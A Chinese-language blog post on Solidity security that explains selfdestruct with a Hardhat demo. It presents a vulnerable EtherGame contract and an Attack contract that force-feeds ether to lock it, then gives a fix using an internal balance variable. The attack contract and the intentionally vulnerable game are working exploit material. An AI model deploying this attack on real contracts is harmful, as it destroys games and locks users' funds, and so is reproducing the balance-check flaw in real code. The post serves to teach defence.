合约安全

合约安全: selfdestruct自毁函数

2022-11-21  本文已影响0人  梁帆

1.selfdestruct功能介绍

selfdestruct函数,功能是销毁当前合约,而且可以输入一个参数,这个参数是payable address类型,自毁之后该合约的余额可以被全部传入参数地址中。参数地址无论是普通账户地址还是合约账户地址,都可以被动接受来自自毁合约的余额。我们写个例子。

用hardhat写Test合约:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;

// Uncomment this line to use console.log
import "hardhat/console.sol";

contract Test {
    constructor() payable {
        console.log("msg.sender: ", msg.sender);
        console.log("msg.value: ", msg.value);
    }

    function kill() external {
        selfdestruct(payable(0x8626f6940E2eb28930eFb4CeF49B2d1F2C9C1199));
    }
}

大概意思就是外部执行kill函数,然后就执行自毁函数selfdestruct,输入的参数地址是最后接收Test合约中所有资产的账户。
contructor函数是payable的,我们可以在部署的时候就传入以太坊资产,console.log是hardhat专用。
然后部署,部署日志中可以看到上面的两个console.log信息:

Test合约部署 ,即当前合约已有1个Ether。
我们写个task来测试:
task("test-transaction", "This task is broken")
    .setAction(async () => {
        const contractAddress = "0x5FC8d32690cc91D4c39d9d3abcBD16989F875707";
        const test = await ethers.getContractAt('Test', contractAddress);

        const receiver = await ethers.getSigner("0x8626f6940E2eb28930eFb4CeF49B2d1F2C9C1199");
        console.log("Before, balance of receiver = ", ethers.utils.formatEther(await ethers.provider.getBalance(receiver.address)));
        console.log("Before, balance of contract = ", ethers.utils.formatEther(await ethers.provider.getBalance(contractAddress)));


        const tx = await test.kill();
        await tx.wait();

        console.log("After, balance of receiver = ", ethers.utils.formatEther(await ethers.provider.getBalance(receiver.address)));
        console.log("After, balance of contract = ", ethers.utils.formatEther(await ethers.provider.getBalance(contractAddress)));
    });

输出:

Before, balance of receiver =  10001.0
Before, balance of contract =  1.0
After, balance of receiver =  10002.0
After, balance of contract =  0.0

可以看到自毁函数执行后,合约中的资产被清空了,而我们接受者receiver拿到了之前合约的资产。
这个selfdestruct函数的参数不仅仅可以是普通用户的地址,也可以是合约地址,而且,不管你的接受者合约有没有receive()fallback(),资产都可以被转过去,举个例子:

contract Receiver {

}

比如上面这个空白合约,也可以接受selfdestrut函数传来的资产。这是唯一的一个后门,这个后门也可以造成合约被攻击,看看下面一个案例。

2.攻击案例

contract EtherGame {
    uint public targetAmount = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint balance = address(this).balance;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

这个被攻击的EtherGame的合约,逻辑比较简单,就是每个用户都可以调用deposit函数,一次有且仅能存入1个Ether,当用户存入1Ether导致合约余额超过targetAmount后,该用户就是winner,此时deposit功能被锁定。

攻击者Attack合约,首先用户可以给Attack合约存入一些Ether,然后执行selfdestruct,自毁函数的参数填EtherGame合约的地址,这样EtherGame合约的余额就增多了,而一旦余额超出了它的targetAmount,这样deposit就被锁定了,而且也没有winner,也不能claimReward,这个合约就直接废了。

在这个案例中,攻击者消耗了自己的以太,使得被攻击者的合约失效,被攻击的合约中的以太也永远没有办法取出来。总之,这对双方都没有好处。

3.拯救措施

EtherGame中,我们要避免使用合约自身的余额属性address(this).balance,可以用一个变量balance存起来,每次逻辑操作都经过balance验证,这样就不会被自毁函数所破坏。

修改后的合约如下图所示:

contract EtherGame {
    uint public targetAmount = 3 ether;
    uint public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= targetAmount, "Game is over");

        if (balance == targetAmount) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent, ) = msg.sender.call{value: balance}("");
        require(sent, "Failed to send Ether");
    }
}
上一篇下一篇

猜你喜欢

热点阅读